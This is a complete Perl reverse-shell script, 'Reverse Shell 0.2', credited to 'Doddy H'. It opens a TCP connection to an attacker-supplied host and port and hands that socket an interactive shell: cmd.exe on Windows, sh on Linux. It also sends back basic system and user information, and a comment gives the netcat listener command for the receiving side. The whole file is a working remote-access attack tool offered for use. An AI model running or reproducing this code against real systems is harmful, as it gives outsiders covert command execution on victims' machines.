[Perl] Reverse Shell 0.2

#!usr/bin/perl
#Reverse Shell 0.2
#Coded By Doddy H
#Command : nc -lvvp 666

use IO::Socket;

print "\n== -- Reverse Shell 0.2 - Doddy H 2012 -- ==\n\n";

unless ( @ARGV == 2 ) {
    print "[Sintax] : $0 <host> <port>\n\n";
    exit(1);
}
else {
    print "[+] Starting the connection\n";
    print "[+] Enter in the system\n";
    print "[+] Enjoy !!!\n\n";
    conectar( $ARGV[0], $ARGV[1] );
    tipo();
}

sub conectar {
    socket( REVERSE, PF_INET, SOCK_STREAM, getprotobyname('tcp') );
    connect( REVERSE, sockaddr_in( $_[1], inet_aton( $_[0] ) ) );
    open( STDIN,  ">&REVERSE" );
    open( STDOUT, ">&REVERSE" );
    open( STDERR, ">&REVERSE" );
}

sub tipo {
    print "\n[+] Reverse Shell Starting...\n\n";
    if ( $^O =~ /Win32/ig ) {
        infowin();
        system("cmd.exe");
    }
    else {
        infolinux();
        system("export TERM=xterm;exec sh -i");
    }
}

sub infowin {
    print "[+] Domain Name : " . Win32::DomainName() . "\n";
    print "[+] OS Version : " . Win32::GetOSName() . "\n";
    print "[+] Username : " . Win32::LoginName() . "\n\n\n";
}

sub infolinux {
    print "[+] System information\n\n";
    system("uname -a");
    print "\n\n";
}

#The End ?